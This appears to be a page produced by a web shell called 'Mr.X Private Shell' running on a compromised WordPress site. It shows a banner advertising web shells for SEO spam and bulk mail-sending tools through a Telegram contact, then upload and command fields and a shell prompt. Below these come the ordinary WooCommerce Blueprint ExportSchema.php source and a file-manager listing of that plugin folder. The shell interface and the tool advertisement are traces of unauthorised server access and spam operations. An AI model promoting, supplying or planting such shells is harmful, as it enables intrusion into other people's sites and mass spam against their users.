__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

namespace Automattic\WooCommerce\Blueprint;

use Automattic\WooCommerce\Blueprint\Exporters\StepExporter;
use Automattic\WooCommerce\Blueprint\Exporters\HasAlias;
use Automattic\WooCommerce\Blueprint\Logger;
use Automattic\WooCommerce\Blueprint\Steps\Step;
use WP_Error;

/**
 * Class ExportSchema
 *
 * Handles the export schema functionality for WooCommerce.
 *
 * @package Automattic\WooCommerce\Blueprint
 */
class ExportSchema {
	use UseWPFunctions;
	use UsePubSub;

	/**
	 * Step exporters.
	 *
	 * @var StepExporter[] Array of step exporters.
	 */
	protected array $exporters = array();

	/**
	 * ExportSchema constructor.
	 *
	 * @param StepExporter[] $exporters Array of step exporters.
	 */
	public function __construct( $exporters = array() ) {
		$this->exporters = $exporters;
	}

	/**
	 * Export the schema steps.
	 *
	 * @param string[] $steps Array of step names to export, optional.
	 *
	 * @return array|WP_Error The exported schema array or a WP_Error if the export fails.
	 */
	public function export( $steps = array() ) {
		$loading_page_path = $this->wp_apply_filters( 'wooblueprint_export_landingpage', '/' );
		/**
		 * Validate that the landing page path is a valid relative local URL path.
		 *
		 * Accepts:
		 * - /
		 * - /path/to/page
		 *
		 * Rejects:
		 * - http://example.com/path/to/page
		 * - invalid-path
		 */
		if ( ! preg_match( '#^/$|^/[^/].*#', $loading_page_path ) ) {
			return new WP_Error( 'wooblueprint_invalid_landing_page_path', 'Invalid loading page path.' );
		}

		$schema = array(
			'landingPage' => $loading_page_path,
			'steps'       => array(),
		);

		$built_in_exporters = ( new BuiltInExporters() )->get_all();

		/**
		 * Filters the step exporters.
		 *
		 * Allows adding/removing custom step exporters.
		 *
		 * @param StepExporter[] $exporters Array of step exporters.
		 *
		 * @since 0.0.1
		 */
		$exporters = $this->wp_apply_filters( 'wooblueprint_exporters', array_merge( $this->exporters, $built_in_exporters ) );
		// Validate that the exporters are instances of StepExporter.
		$exporters = array_filter(
			$exporters,
			function ( $exporter ) {
				return $exporter instanceof StepExporter;
			}
		);

		// Filter out any exporters that are not in the list of steps to export.
		if ( count( $steps ) ) {
			foreach ( $exporters as $key => $exporter ) {
				$name  = $exporter->get_step_name();
				$alias = $exporter instanceof HasAlias ? $exporter->get_alias() : $name;
				if ( ! in_array( $name, $steps, true ) && ! in_array( $alias, $steps, true ) ) {
					unset( $exporters[ $key ] );
				}
			}
		}

		// Make sure the user has the required capabilities to export the steps.
		foreach ( $exporters as $exporter ) {
			if ( ! $exporter->check_step_capabilities() ) {
				return new WP_Error( 'wooblueprint_insufficient_permissions', 'Insufficient permissions to export for step: ' . $exporter->get_step_name() );
			}
		}

		$logger = new Logger();
		$logger->start_export( $exporters );

		foreach ( $exporters as $exporter ) {
			try {
				$this->publish( 'onBeforeExport', $exporter );
				$step = $exporter->export();
				$this->add_result_to_schema( $schema, $step );

			} catch ( \Throwable $e ) {
				$step_name = $exporter instanceof HasAlias ? $exporter->get_alias() : $exporter->get_step_name();
				$logger->export_step_failed( $step_name, $e );
				return new WP_Error( 'wooblueprint_export_step_failed', 'Export step failed: ' . $e->getMessage() );
			}
		}

		$logger->complete_export( $exporters );

		return $schema;
	}

	/**
	 * Subscribe to the onBeforeExport event.
	 *
	 * @param string   $step_name The step name to subscribe to.
	 * @param callable $callback  The callback to execute.
	 */
	public function on_before_export( $step_name, $callback ) {
		$this->subscribe(
			'onBeforeExport',
			function ( $exporter ) use ( $step_name, $callback ) {
				if ( $step_name === $exporter->get_step_name() ) {
					$callback( $exporter );
				}
			}
		);
	}

	/**
	 * Add export result to the schema array.
	 *
	 * @param array      $schema Schema array to add steps to.
	 * @param array|Step $step   Step or array of steps to add.
	 */
	private function add_result_to_schema( array &$schema, $step ): void {
		if ( is_array( $step ) ) {
			foreach ( $step as $_step ) {
				$schema['steps'][] = $_step->get_json_array();
			}
			return;
		}

		$schema['steps'][] = $step->get_json_array();
	}
}

Filemanager

Name Type Size Permission Actions
Cli Folder 0775
Exporters Folder 0775
Importers Folder 0775
ResourceStorages Folder 0775
ResultFormatters Folder 0775
Schemas Folder 0775
Steps Folder 0775
docs Folder 0775
BuiltInExporters.php File 474 B 0664
BuiltInStepProcessors.php File 1.81 KB 0664
ClassExtractor.php File 6.05 KB 0664
Cli.php File 1.78 KB 0664
ExportSchema.php File 4.3 KB 0664
ImportSchema.php File 2.34 KB 0664
ImportStep.php File 4.46 KB 0664
Logger.php File 4.07 KB 0664
ResourceStorages.php File 1.45 KB 0664
StepProcessor.php File 680 B 0664
StepProcessorResult.php File 3.56 KB 0664
UsePluginHelpers.php File 3.13 KB 0664
UsePubSub.php File 1.51 KB 0664
UseWPFunctions.php File 9.72 KB 0664
Util.php File 4.39 KB 0664
Filemanager